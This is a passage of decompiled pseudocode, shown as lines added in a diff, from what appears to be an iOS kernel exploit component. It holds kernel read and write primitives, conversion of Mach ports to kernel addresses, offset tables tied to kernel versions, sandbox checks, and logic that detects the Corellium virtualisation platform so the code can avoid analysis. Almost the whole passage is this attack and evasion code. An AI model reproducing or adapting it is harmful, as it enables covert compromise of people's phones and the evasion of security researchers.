0x2258 || v12 == 0x2712 || v12 == 0x225C ) + v15 = 0x48; + else + v15 = 0; + v16 = sub_33098(a1); + if ( !(unsigned int)kread64(a1, v10 + v16, &v31) ) + return v8; + if ( !validate_addr(a1, v31) ) + return 0x28026LL; + v17 = v31; + v18 = v17 + (unsigned int)sub_33238(a1); + if ( !(unsigned int)kread64(a1, v18, &v34) ) + return v8; + v30 = v15; + v19 = 0; + } + if ( !v34 ) + goto LABEL_58; + if ( !validate_addr_maybe2(a1, v34) ) + return 0x28026LL; + if ( v30 ) + { + *(_QWORD *)&v23 = 0xFFFFFFFFFFFFFFFFLL; + *((_QWORD *)&v23 + 1) = 0xFFFFFFFFFFFFFFFFLL; + v65 = v23; + v66 = v23; + v63 = v23; + v64 = v23; + v61 = v23; + v62 = v23; + v59 = v23; + v60 = v23; + v57 = v23; + v58 = v23; + v55 = v23; + v56 = v23; + v53 = v23; + v54 = v23; + v51 = v23; + v52 = v23; + v49 = v23; + v50 = v23; + v47 = v23; + v48 = v23; + v45 = v23; + v46 = v23; + v43 = v23; + v44 = v23; + v42 = v23; + v40 = v23; + v41 = v23; + v38 = v23; + v39 = v23; + v36 = v23; + v37 = v23; + v35 = v23; + if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, v34, (__int64)&v35, v30) ) + return 0x28010LL; + goto LABEL_58; + } + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF + || !*(_QWORD *)(a1 + 0x218) ) + { + if ( !a3 ) + goto LABEL_47; + } + else if ( *(_BYTE *)(a1 + 0xC) && (a3 & 1) == 0 ) + { +LABEL_47: + sub_2A63C(a1, v18, 0LL); + if ( !v24 ) + return 0x28010LL; + goto LABEL_58; + } + if ( !kread32_outptr(a1, v34 - 0x10, &v32) ) + return v8; + if ( (v32 & 0x7FFFFFFF) == 0x4A616371 ) + { + if ( !kread32_outptr(a1, v34 - 0xC, &v33) ) + return v8; + if ( (unsigned int)(v33 - 0x11) > 0x1DF ) + return 0x28011LL; + __memset_chk(); + if ( !(unsigned int)kwritebuf_last_1(a1, v34, (__int64)&v35, (unsigned int)(v33 - 0x10)) ) + return 0x28010LL; + } + else + { + if ( !a4 ) + return 0x28010LL; + *a4 = 1; + } +LABEL_58: + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + { + v26 = v10 + v19 + *(int *)(a1 + 0x168); + } + else + { + v25 = v31; + v26 = v25 + (unsigned int)sub_331D0(a1); + } + if ( !(unsigned int)kread64(a1, v26, &v34) ) + return v8; + if ( !v34 ) + goto LABEL_85; + if ( !validate_addr_maybe2(a1, v34) ) + return 0x28026LL; + if ( v30 ) + { + *(_QWORD *)&v27 = 0xFFFFFFFFFFFFFFFFLL; + *((_QWORD *)&v27 + 1) = 0xFFFFFFFFFFFFFFFFLL; + v65 = v27; + v66 = v27; + v63 = v27; + v64 = v27; + v61 = v27; + v62 = v27; + v59 = v27; + v60 = v27; + v57 = v27; + v58 = v27; + v55 = v27; + v56 = v27; + v53 = v27; + v54 = v27; + v51 = v27; + v52 = v27; + v49 = v27; + v50 = v27; + v47 = v27; + v48 = v27; + v45 = v27; + v46 = v27; + v43 = v27; + v44 = v27; + v42 = v27; + v40 = v27; + v41 = v27; + v38 = v27; + v39 = v27; + v36 = v27; + v37 = v27; + v35 = v27; + if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, v34, (__int64)&v35, v30) ) + return 0x28010LL; + goto LABEL_85; + } + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF + || !*(_QWORD *)(a1 + 0x218) ) + { + if ( !a3 ) + goto LABEL_74; + } + else if ( *(_BYTE *)(a1 + 0xC) && (a3 & 1) == 0 ) + { +LABEL_74: + sub_2A63C(a1, v26, 0LL); + if ( !v28 ) + return 0x28010LL; + goto LABEL_85; + } + if ( !kread32_outptr(a1, v34 - 0x10, &v32) ) + return v8; + if ( (v32 & 0x7FFFFFFF) != 0x4A616371 ) + { + if ( a4 ) + { + *a4 = 1; + goto LABEL_85; + } + return 0x28010LL; + } + if ( !kread32_outptr(a1, v34 - 0xC, &v33) ) + return v8; + if ( (unsigned int)(v33 - 0x11) > 0x1DF ) + return 0x28011LL; + __memset_chk(); + if ( !(unsigned int)kwritebuf_last_1(a1, v34, (__int64)&v35, (unsigned int)(v33 - 0x10)) ) + return 0x28010LL; +LABEL_85: + if ( mach_task_self_ == a2 && (!a4 || !*a4) ) + krw_ctx_set_flag((_DWORD *)a1, 0x800000); + return 0LL; +} +// 3C6D0: variable 'v24' is possibly undefined +// 3C880: variable 'v28' is possibly undefined +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (000000000003C9A4) ---------------------------------------------------- +__int64 __fastcall sub_3C9A4(__int64 a1, unsigned int a2) +{ + __int64 v4; // x19 + unsigned __int64 v5; // x0 + unsigned __int64 v6; // x22 + int v7; // w8 + __int64 v10; // x23 + unsigned int v11; // w0 + __int64 v12; // x22 + unsigned __int64 v13; // x22 + unsigned __int64 v14; // x0 + int v15; // w8 + __int64 v16; // x8 + __int128 v17; // q0 + __int64 v18; // x2 + int v19; // w0 + __int64 v21; // x0 + __int128 v22; // q0 + unsigned __int64 v23; // [xsp+8h] [xbp-2E8h] BYREF + unsigned int v24; // [xsp+14h] [xbp-2DCh] BYREF + __int64 v25; // [xsp+18h] [xbp-2D8h] BYREF + _OWORD v26[32]; // [xsp+20h] [xbp-2D0h] BYREF + _OWORD v27[8]; // [xsp+220h] [xbp-D0h] BYREF + + v4 = 0x28010LL; + v23 = 0LL; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) + { + v14 = sub_33E8C(a1, a2); + if ( v14 ) + { + v15 = *(_DWORD *)(a1 + 0x140); + switch ( v15 ) + { + case 0x1809: + v16 = 0x2B8LL; + break; + case 0x1F53: + v16 = 0x320LL; + break; + case 0x1C1B: + v16 = 0x2A0LL; + break; + default: + return 0x28007LL; + } + v13 = v16 + v14; + if ( !kread64((_DWORD *)a1, v16 + v14, (__int64 *)&v23) ) + return 0x2800FLL; + v10 = 0LL; + goto LABEL_26; + } + return 0x2800ELL; + } + v5 = port_name_to_kaddr(a1, a2); + if ( !v5 ) + return 0x2800ELL; + v6 = v5; + v7 = *(_DWORD *)(a1 + 0x140); + if ( v7 == 0x2258 || v7 == 0x2712 || v7 == 0x225C ) + v10 = 0x48LL; + else + v10 = 0LL; + v11 = sub_33098(a1); + if ( !kread64((_DWORD *)a1, v6 + v11, (__int64 *)v27) ) + return 0x2800FLL; + if ( !validate_addr(a1, *(__int64 *)&v27[0]) ) + return 0x28026LL; + v12 = *(_QWORD *)&v27[0]; + v13 = v12 + (unsigned int)sub_33168(a1); + if ( !kread64((_DWORD *)a1, v13, (__int64 *)&v23) ) + return 0x2800FLL; +LABEL_26: + if ( !v23 ) + { +LABEL_37: + if ( !(unsigned int)sub_1BC78(a2) ) + return 0x28003LL; + if ( mach_task_self_ == a2 ) + krw_ctx_set_flag((_DWORD *)a1, 0x8000000); + return 0LL; + } + if ( !validate_addr_maybe2(a1, v23) ) + return 0x28026LL; + if ( (_DWORD)v10 ) + { + *(_QWORD *)&v17 = 0xFFFFFFFFFFFFFFFFLL; + *((_QWORD *)&v17 + 1) = 0xFFFFFFFFFFFFFFFFLL; + v26[0x1E] = v17; + v26[0x1F] = v17; + v26[0x1C] = v17; + v26[0x1D] = v17; + v26[0x1A] = v17; + v26[0x1B] = v17; + v26[0x18] = v17; + v26[0x19] = v17; + v26[0x16] = v17; + v26[0x17] = v17; + v26[0x14] = v17; + v26[0x15] = v17; + v26[0x12] = v17; + v26[0x13] = v17; + v26[0x10] = v17; + v26[0x11] = v17; + v26[0xE] = v17; + v26[0xF] = v17; + v26[0xC] = v17; + v26[0xD] = v17; + v26[0xA] = v17; + v26[0xB] = v17; + v26[8] = v17; + v26[9] = v17; + v26[7] = v17; + v26[5] = v17; + v26[6] = v17; + v26[3] = v17; + v26[4] = v17; + v26[1] = v17; + v26[2] = v17; + v26[0] = v17; + if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, v23, (__int64)v26, v10) ) + return v4; + goto LABEL_37; + } + v25 = 0LL; + if ( !(unsigned int)sub_36160(a1, 0xDu, &v25) ) + return 0x28012LL; + v18 = v25; + if ( v25 ) + { +LABEL_36: + sub_2A63C(a1, v13, v18); + if ( !v19 ) + return v4; + goto LABEL_37; + } + v24 = 0x80; + v21 = sub_37210(a1, &v24); + v25 = v21; + if ( !v21 ) + return 0xAD009LL; + *(_QWORD *)&v22 = 0xFFFFFFFFFFFFFFFFLL; + *((_QWORD *)&v22 + 1) = 0xFFFFFFFFFFFFFFFFLL; + v27[6] = v22; + v27[7] = v22; + v27[4] = v22; + v27[5] = v22; + v27[2] = v22; + v27[3] = v22; + v27[0] = v22; + v27[1] = v22; + if ( (unsigned int)kwritebuf_last_1(a1, v21, (__int64)v27, 0x80LL) && (unsigned int)sub_361DC(a1, 0xDu, v25) ) + { + v18 = v25; + goto LABEL_36; + } + return v4; +} +// 3CBB8: variable 'v19' is possibly undefined + +//----- (000000000003CCA8) ---------------------------------------------------- +__int64 __fastcall driver_init2_1(__int64 a1, int a2) +{ + kern_return_t v4; // w0 + __int64 mach_port_with_a2; // x21 + int v7; // w0 + __int64 v8; // x27 + __int128 v9; // q1 + __int64 v10; // x9 + io_registry_entry_t v11; // w0 + io_registry_entry_t v12; // w22 + const __CFString *v13; // x0 + const __CFString *v14; // x23 + const __CFString *CFProperty; // x0 + const __CFString *v16; // x25 + CFTypeID TypeID; // x26 + const __CFString *v18; // x24 + int HasPrefix; // w26 + unsigned __int64 v20; // x0 + unsigned __int64 v21; // x22 + int *v22; // x22 + int v23; // w8 + int v24; // w9 + unsigned int v25; // w9 + __int64 v26; // x8 + int v27; // w0 + unsigned __int64 v28; // x8 + int v29; // w1 + int v30; // w1 + unsigned __int64 v31; // x8 + int v32; // w8 + int v33; // w0 + int v34; // w8 + int v35; // w9 + _DWORD *v36; // x26 + unsigned __int64 v37; // x8 + int v38; // w0 + unsigned __int64 v39; // x9 + unsigned __int64 v40; // x22 + int v41; // w23 + unsigned __int64 v42; // x8 + unsigned __int64 v43; // x21 + __int64 v44; // x8 + unsigned __int64 v45; // x0 + __int64 v46; // x1 + unsigned __int64 v47; // x0 + mach_vm_address_t v48; // x24 + __int64 v49; // x8 + unsigned __int64 v50; // x0 + __int64 v51; // x24 + __int64 (__fastcall *v52)(__int64); // x8 + unsigned int v53; // w1 + unsigned __int64 v54; // x0 + unsigned __int64 v55; // x21 + size_t v56; // x8 + void *v57; // x0 + __int128 v58; // q1 + task_name_t v59; // w0 + __int64 *v60; // x23 + __int64 *st_ino; // x21 + int v62; // w26 + __int64 v63; // x0 + unsigned __int64 v64; // x0 + void *v66; // x0 + __int64 v67; // x21 + __int128 v68; // q1 + __int64 v69; // x8 + __int64 v70; // x8 + host_t v71; // w0 + host_t v72; // w2 + int v73; // w0 + int v74; // w0 + host_priv_t v75; // w0 + __int64 v76; // x0 + void *v77; // x0 + __int64 v78; // x21 + unsigned int v79; // w26 + __int128 v80; // q1 + void *v81; // x0 + __int64 v82; // x23 + __int128 v83; // q1 + __int64 v84; // x9 + __int64 v85; // x0 + unsigned __int64 variable_addr; // x0 + unsigned __int64 v87; // x22 + unsigned __int64 v88; // x0 + mach_vm_address_t v89; // x23 + unsigned __int64 v90; // x8 + unsigned int v91; // w0 + mach_port_name_t *v92; // [xsp+8h] [xbp-168h] + unsigned __int64 v93; // [xsp+10h] [xbp-160h] + int v94; // [xsp+18h] [xbp-158h] + int v95; // [xsp+20h] [xbp-150h] BYREF + char v96; // [xsp+27h] [xbp-149h] BYREF + __int64 v97; // [xsp+28h] [xbp-148h] BYREF + __int128 v98; // [xsp+30h] [xbp-140h] BYREF + __int128 v99; // [xsp+40h] [xbp-130h] + __int64 v100; // [xsp+50h] [xbp-120h] + __int64 v101; // [xsp+60h] [xbp-110h] BYREF + size_t v102; // [xsp+68h] [xbp-108h] BYREF + __int64 v103; // [xsp+70h] [xbp-100h] BYREF + size_t v104; // [xsp+78h] [xbp-F8h] BYREF + stat v105; // [xsp+80h] [xbp-F0h] BYREF + + v101 = 0LL; + v100 = 0LL; + v98 = 0u; + v99 = 0u; + v97 = 0LL; + v96 = 0; + v95 = 0; + *(_QWORD *)(a1 + 0x1930) = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)(a1 + 0x1938) = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)(a1 + 0x1940) = 0xFFFFFFFFFFFFFFFFLL; + mach_timebase_info((mach_timebase_info_t)(a1 + 0x25C)); + pthread_mutex_init((pthread_mutex_t *)(a1 + 0x330), 0LL); + pthread_mutex_init((pthread_mutex_t *)(a1 + 0x268), 0LL); + v4 = semaphore_create(mach_task_self_, (semaphore_t *)(a1 + 0x264), 0, 0); + if ( v4 ) + return v4 | 0x80000000; + kernel_version_parse((__int64)&v98, (_DWORD *)(a1 + 0x16C), (_DWORD *)(a1 + 0x170)); + if ( !v7 ) + return 0xAD015LL; + v8 = 0x28012LL; + v9 = v99; + *(_OWORD *)(a1 + 0x140) = v98; + *(_OWORD *)(a1 + 0x150) = v9; + v10 = *((_QWORD *)&v99 + 1); + *(_QWORD *)(a1 + 0x160) = v100; + *(_DWORD *)(a1 + 0x168) = 8; + mach_port_with_a2 = 0x28007LL; + if ( (unsigned __int64)(v10 - 0x18090006700000LL) > 0xF090EFE400003LL ) + return mach_port_with_a2; + memset(&v105, 0, sizeof(v105)); + if ( !stat("/usr/libexec/corelliumd", &v105) ) + return 0x28022LL; + getpid(); + if ( (int)sandbox_check() <= 0 ) + { + v11 = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/"); + if ( v11 ) + { + v12 = v11; + v13 = CFStringCreateWithCString(kCFAllocatorDefault, "IOPlatformSerialNumber", 0x8000100u); + if ( v13 ) + { + v14 = v13; + CFProperty = (const __CFString *)IORegistryEntryCreateCFProperty(v12, v13, kCFAllocatorDefault, 0); + if ( CFProperty ) + { + v16 = CFProperty; + TypeID = CFStringGetTypeID(); + if ( TypeID == CFGetTypeID(v16) ) + { + v18 = CFStringCreateWithCString(kCFAllocatorDefault, "CORELLIUM", 0x8000100u); + HasPrefix = CFStringHasPrefix(v16, v18); + CFRelease(v18); + CFRelease(v16); + CFRelease(v14); + IOObjectRelease(v12); + if ( HasPrefix ) + return 0x28022LL; + goto LABEL_17; + } + } + CFRelease(v14); + } + IOObjectRelease(v12); + } + } +LABEL_17: + v20 = sub_41040(); + if ( !v20 ) + return 0x28012LL; + v21 = v20; + LODWORD(v104) = 0; + if ( !(unsigned int)sub_1F240(&v104) ) + return 0x28022LL; + if ( (_DWORD)v104 == 0x92FB37C8 || (_DWORD)v104 == 0x37A09642 || (_DWORD)v104 == 0x2C91A47E ) + { + if ( (*(_QWORD *)(v21 + 0x10) & 0x4000000) == 0 ) + goto LABEL_23; + return 0x28022LL; + } + if ( *(_WORD *)(v21 + 0x26) != 0x80 ) + return 0x28022LL; +LABEL_23: + v22 = (int *)(a1 + 0x140); + v23 = *(_DWORD *)(a1 + 0x140); + if ( v23 > 0x2257 ) + { + if ( v23 == 0x2258 || v23 == 0x2712 ) + goto LABEL_33; + v24 = 0x225C; + } + else + { + if ( (unsigned int)(v23 - 0x1F53) < 2 || v23 == 0x1809 ) + goto LABEL_33; + v24 = 0x1C1B; + } + if ( v23 != v24 ) + return mach_port_with_a2; +LABEL_33: + if ( v23 >= 0x1C1B ) + *(_BYTE *)(a1 + 0xB) = check_sandboxed(*(_QWORD *)(a1 + 0x158) >> 0x2B > 0x44AuLL); + if ( !(unsigned int)sub_1F240(&v103) ) + return 0x28012LL; + if ( (int)v103 <= 0x2876F5B4 ) + { + if ( (int)v103 > (int)0xE81E7EF5 ) + { + if ( (int)v103 > 0x7D34B9E ) + { + if ( (_DWORD)v103 == 0x7D34B9F ) + { + v30 = 1; + } + else + { + if ( (_DWORD)v103 != 0x1B588BB3 ) + goto LABEL_69; + if ( (int)number_of_cpus() >= 8 && *(_QWORD *)(a1 + 0x158) >= 0x22580A06C00000uLL ) + krw_ctx_set_flag((_DWORD *)a1, 8); + v30 = 0x80000; + } + goto LABEL_68; + } + if ( (_DWORD)v103 != 0xE81E7EF6 ) + { + v25 = 0xFA33415E; + goto LABEL_64; + } + v30 = 0x200; +LABEL_68: + krw_ctx_set_flag((_DWORD *)a1, v30); + goto LABEL_69; + } + if ( (_DWORD)v103 == 0x8765EDEA ) + { +LABEL_65: + if ( *(_QWORD *)(a1 + 0x158) > 0x2711FFFFFFFFFFuLL ) + krw_ctx_set_flag((_DWORD *)a1, 0x20); + v30 = 0x1000000; + goto LABEL_68; + } + if ( (_DWORD)v103 == 0x92FB37C8 ) + { + v30 = 0x2000; + goto LABEL_68; + } + if ( (_DWORD)v103 != 0xDA33D83D ) + goto LABEL_69; + v27 = number_of_cpus(); + v28 = *(_QWORD *)(a1 + 0x158); + if ( v27 < 8 ) + { + if ( v28 > 0x2711FFFFFFFFFFLL ) + { + v29 = 0x20; + goto LABEL_118; + } + } + else if ( v28 >> 0x2B > 0x44A ) + { + v29 = 8; +LABEL_118: + krw_ctx_set_flag((_DWORD *)a1, v29); + } + v30 = 0x100000; + goto LABEL_68; + } + if ( (int)v103 <= 0x573B5EEB ) + { + switch ( (_DWORD)v103 ) + { + case 0x2876F5B5: + krw_ctx_set_flag((_DWORD *)a1, 0x20); + v30 = 0x4000000; + break; + case 0x2C91A47E: + v30 = 0x8000; + break; + case 0x462504D2: + v30 = 0x4000; + break; + default: + goto LABEL_69; + } + goto LABEL_68; + } + if ( (int)v103 > 0x67CEEE92 ) + { + if ( (_DWORD)v103 == 0x67CEEE93 ) + { + v30 = 0x40; + goto LABEL_68; + } + v25 = 0x72015832; +LABEL_64: + if ( (_DWORD)v103 != v25 ) + goto LABEL_69; + goto LABEL_65; + } + if ( (_DWORD)v103 != 0x573B5EEC ) + { + v25 = 0x5F4DEA93; + goto LABEL_64; + } + krw_ctx_set_flag((_DWORD *)a1, 0x80000); + v39 = *(_QWORD *)(a1 + 0x158); + if ( v39 - 0x1C1B1914600000LL <= 0x641056BEFFFFFLL ) + { + v26 = 0xAD008LL; + if ( v39 <= 0x1F543C41E00000LL || *(int *)(a1 + 0x140) >= 0x2258 ) + return v26; + } +LABEL_69: + v31 = *(_QWORD *)(a1 + 0x158); + if ( v31 <= 0x1F530F027FFFFFLL ) + return mach_port_with_a2; + if ( *(int *)(a1 + 0x140) <= 0x2257 ) + { + memset(&v105, 0, 0x20); + v104 = 0x20LL; + if ( sysctlbyname("hw.model", &v105, &v104, 0LL, 0LL) ) + { + v32 = *__error(); + if ( v32 < 0 ) + v32 = -v32; + return v32 | 0x40000000u; + } + if ( (v105.st_dev & 0xDF) == 0x4A && !((sub_1F0F4() - 0x40000001) >> 0x1E) ) + krw_ctx_set_flag((_DWORD *)a1, 0x10000000); + v31 = *(_QWORD *)(a1 + 0x158); + } + if ( v31 <= 0x225C23801AF00CLL ) + { + if ( v31 > 0x225C19804FFFFFLL ) + { + if ( (*(_DWORD *)a1 & 0x5584001) == 0 || (*(_DWORD *)a1 & 1) != 0 ) + goto LABEL_87; + goto LABEL_86; + } + if ( v31 > 0x1F543C41E00000LL ) + { +LABEL_86: + if ( *v22 >= 0x2258 ) + return mach_port_with_a2; + goto LABEL_87; + } + if ( v31 <= 0x1F530F027FFFFFLL || *v22 > 0x2257 || ((*(_DWORD *)a1 >> 0x1C) & 1) == 0 ) + return mach_port_with_a2; + } +LABEL_87: + v33 = sub_1F114(); + if ( !v33 ) + return 0x28012LL; + *(_DWORD *)(a1 + 0x180) = v33; + *(_QWORD *)(a1 + 0x188) = (unsigned int)(v33 - 1); + v34 = *(_DWORD *)(a1 + 0x140); + if ( v34 > 0x2257 ) + { + if ( v34 == 0x2258 || v34 == 0x2712 ) + goto LABEL_96; + v35 = 0x225C; + } + else + { + if ( (unsigned int)(v34 - 0x1F53) < 2 || v34 == 0x1809 ) + goto LABEL_96; + v35 = 0x1C1B; + } + if ( v34 != v35 ) + return 0x28012LL; +LABEL_96: + *(_DWORD *)(a1 + 0x178) = 2 * v33 - 0x40; + *(_OWORD *)(a1 + 0x19E8) = xmmword_43730; + if ( !(unsigned int)another_sandbox_check(a1) ) + return 0x28012LL; + mach_port_with_a2 = create_mach_port_with_a2(a1, 0x200u); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + v36 = (_DWORD *)(a1 + 0x1930); + if ( a2 ) + { + v37 = *(_QWORD *)(a1 + 0x158); + if ( v37 <= 0x27120F04B00002LL ) + { + if ( v37 <= 0x225C1E804FFFFFLL ) + { + if ( v37 <= 0x225C19804FFFFFLL ) + { + if ( v37 <= 0x1F530F027FFFFFLL || (*(_DWORD *)a1 & 0x5584001) == 0 && v37 <= 0x1F5418FFFFFFFFLL ) + { + v38 = sub_1C0C8(a1, &v95); + goto LABEL_122; + } + } + else if ( (*(_DWORD *)a1 & 0x5584001) == 0 || (*(_DWORD *)a1 & 1) != 0 ) + { + goto LABEL_121; + } + v38 = sub_1C3EC(a1, &v95); + goto LABEL_122; + } + } + else if ( (*(_BYTE *)a1 & 0x20) != 0 ) + { + v38 = sub_B460(a1, &v95) == 0; +LABEL_122: + if ( !v38 ) + return 0x2801DLL; + if ( v95 + && ((unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) + || (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) + || *v36 != 0xFFFFFFFF + && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF + && (*(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) + || *(_DWORD *)(a1 + 0x1938) != 0xFFFFFFFF && *(_DWORD *)(a1 + 0x193C) != 0xFFFFFFFF) + || (unsigned int)(*(_DWORD *)(a1 + 0x1918) + 1) >= 2) ) + { + krw_ctx_set_flag((_DWORD *)a1, 0x10000); + } + goto LABEL_148; + } +LABEL_121: + v38 = sub_1D70C(a1, &v95); + goto LABEL_122; + } +LABEL_148: + v40 = *(_QWORD *)(a1 + 0x158); + if ( v40 >> 0x2B <= 0x44A ) + v41 = 0x80; + else + v41 = 0x480; + if ( ((unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) < 2 || !*(_QWORD *)(a1 + 0xD8)) + && ((unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) < 2 || !*(_QWORD *)(a1 + 0xF8) || !*(_QWORD *)(a1 + 0x100)) + && (*v36 == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF + || (*(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF) + && (*(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF || !*(_QWORD *)(a1 + 0x218))) + && (unsigned int)(*(_DWORD *)(a1 + 0x1918) + 1) <= 1 ) + { + mach_port_with_a2 = sub_CE78(); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + if ( sub_25DE8(a1) ) + { + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL && *(_BYTE *)(a1 + 0xB) ) + { + v94 = 1; + goto LABEL_172; + } + mach_port_with_a2 = sub_25804(a1); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + v94 = 0; +LABEL_172: + v93 = *(_QWORD *)(a1 + 0x158); + v42 = v93; + if ( v93 <= 0x1F530F027FFFFFLL ) + { + mach_port_with_a2 = sub_3C450(a1, mach_task_self_, 0, &v96); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + v42 = *(_QWORD *)(a1 + 0x158); + } + v92 = (mach_port_name_t *)(a1 + 0x191C); + if ( v42 <= 0x2257FFFFFFFFFFLL ) + { + v46 = *(_QWORD *)(a1 + 0x19D0); + mach_port_with_a2 = 0x2800CLL; + if ( !v46 ) + return mach_port_with_a2; + v47 = sub_32A64(a1, v46); + if ( !v47 ) + return mach_port_with_a2; + v48 = v47; + if ( !kread32_outptr(a1, v47, &v105) ) + return 0x2800FLL; + if ( !v105.st_dev && !noppl_kwrite32(a1, v48, 1) ) + return 0x28010LL; + mach_port_with_a2 = sub_36480(a1, *(_QWORD *)(a1 + 0x19D0), v92); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + else + { + *(_DWORD *)(a1 + 0x191C) = 0xFFFFFFFF; + } + if ( (unsigned int)sub_1C058(a1) ) + { + mach_port_with_a2 = sub_1CEC4(a1); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + v43 = *(_QWORD *)(a1 + 0x19C8); + if ( !v43 ) + { + v44 = *(_QWORD *)(a1 + 0x118); + if ( v44 ) + { + if ( *(_QWORD *)(a1 + 0x120) ) + { + v43 = *(_QWORD *)(v44 + 0x138); + if ( v43 ) + { +LABEL_199: + *(_QWORD *)(a1 + 0x19C8) = v43; + goto LABEL_200; + } + } + } + if ( *(_QWORD *)(a1 + 0x19E0) ) + { + v45 = sub_3C398((_DWORD *)a1); + if ( v45 ) + { + v43 = *(_QWORD *)(a1 + 0x19E0) + v45; +LABEL_196: + v49 = *(_QWORD *)(a1 + 0x118); + if ( v49 && *(_QWORD *)(a1 + 0x120) ) + *(_QWORD *)(v49 + 0x138) = v43; + goto LABEL_199; + } + } + else + { + v43 = sub_39888((_DWORD *)a1, 0LL); + if ( v43 ) + goto LABEL_196; + } + return 0x28014LL; + } +LABEL_200: + if ( !*(_QWORD *)(a1 + 0x19E0) ) + { + v50 = sub_3C398((_DWORD *)a1); + if ( !v50 ) + return 0x28015LL; + *(_QWORD *)(a1 + 0x19E0) = v43 - v50; + } + if ( !sub_3E1D8(a1, mach_task_self_) ) + return 0x28016LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) + { + if ( (v94 & 1) != 0 ) + goto LABEL_211; +LABEL_210: + krw_ctx_set_flag((_DWORD *)a1, 0x100); + goto LABEL_211; + } + if ( !v96 && v93 <= 0x1F530F027FFFFFLL ) + goto LABEL_210; +LABEL_211: + v51 = *(_QWORD *)(a1 + 0x19F8); + if ( !v51 ) + { + v57 = calloc(0x128uLL, 1uLL); + if ( !v57 ) + return 0xAD009LL; + v51 = (__int64)v57; + sub_19DD4((__int64)v57, a1); + v58 = v99; + *(_OWORD *)(v51 + 0x70) = v98; + *(_OWORD *)(v51 + 0x80) = v58; + *(_QWORD *)(v51 + 0x90) = v100; + *(_DWORD *)(v51 + 0x98) = *(_DWORD *)(a1 + 0x178); + *(_DWORD *)(v51 + 0x38) = *(_DWORD *)(a1 + 0x180); + if ( !sub_1A4FC(v51, *(_DWORD *)(a1 + 0x1918), v43, v41) ) + return 0x28017LL; + *(_QWORD *)(a1 + 0x19F8) = v51; + } + v52 = *(__int64 (__fastcall **)(__int64))(a1 + 0x1E0); + if ( v52 && *(_QWORD *)(a1 + 0x1E8) ) + { + mach_port_with_a2 = v52(a1); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + *(_QWORD *)(a1 + 0x1E0) = 0LL; + *(_QWORD *)(a1 + 0x1E8) = 0LL; + } + if ( *(_QWORD *)(a1 + 0x158) > 0x2257FFFFFFFFFFuLL ) + { + v53 = *v92; + if ( !*v92 ) + v53 = *(_DWORD *)(a1 + 0x1918); + v54 = sub_33CB0((_DWORD *)a1, v53); + if ( v54 ) + { + v55 = v54; + if ( kread64((_DWORD *)a1, v54 + 0x20, &v103) && kread64((_DWORD *)a1, v55 + 0x28, (__int64 *)&v102) ) + { + *(_QWORD *)(a1 + 0x19E8) = v103; + v56 = v102; + goto LABEL_233; + } + } + return 0x28012LL; + } + v59 = *v92; + if ( !*v92 ) + v59 = *(_DWORD *)(a1 + 0x1918); + if ( (unsigned int)sub_1F1C8(v59, &v105, &v104) ) + return 0x28012LL; + *(_QWORD *)(a1 + 0x19E8) = *(_QWORD *)&v105.st_dev; + v56 = v104; +LABEL_233: + *(_QWORD *)(a1 + 0x19F0) = v56; + if ( *v36 == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF + || !*(_QWORD *)(a1 + 0x218) ) + { + goto LABEL_260; + } + v60 = *(__int64 **)(a1 + 0x220); + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) + { + if ( v60 ) + goto LABEL_259; + goto LABEL_260; + } + if ( v60 ) + goto LABEL_259; + sub_19C34("__DATA_CONST", *(_QWORD *)(a1 + 0x19F8), "__const", &v105); + st_ino = (__int64 *)v105.st_ino; + if ( !v105.st_ino || !*(_QWORD *)&v105.st_uid || v105.st_ino >= *(_QWORD *)&v105.st_uid + v105.st_ino ) + return 0LL; + v60 = 0LL; + v62 = 0; + while ( 1 ) + { + if ( !v60 ) + { + if ( sub_19B30(*(__int64 **)&v105.st_dev, st_ino) == 7 ) + v60 = st_ino; + else + v60 = 0LL; + goto LABEL_255; + } + v63 = sub_19B94(*(_QWORD *)&v105.st_dev, st_ino); + v64 = sub_29D2C((_DWORD *)a1, v63); + if ( v64 >= *(_QWORD *)(a1 + 0x19E8) && 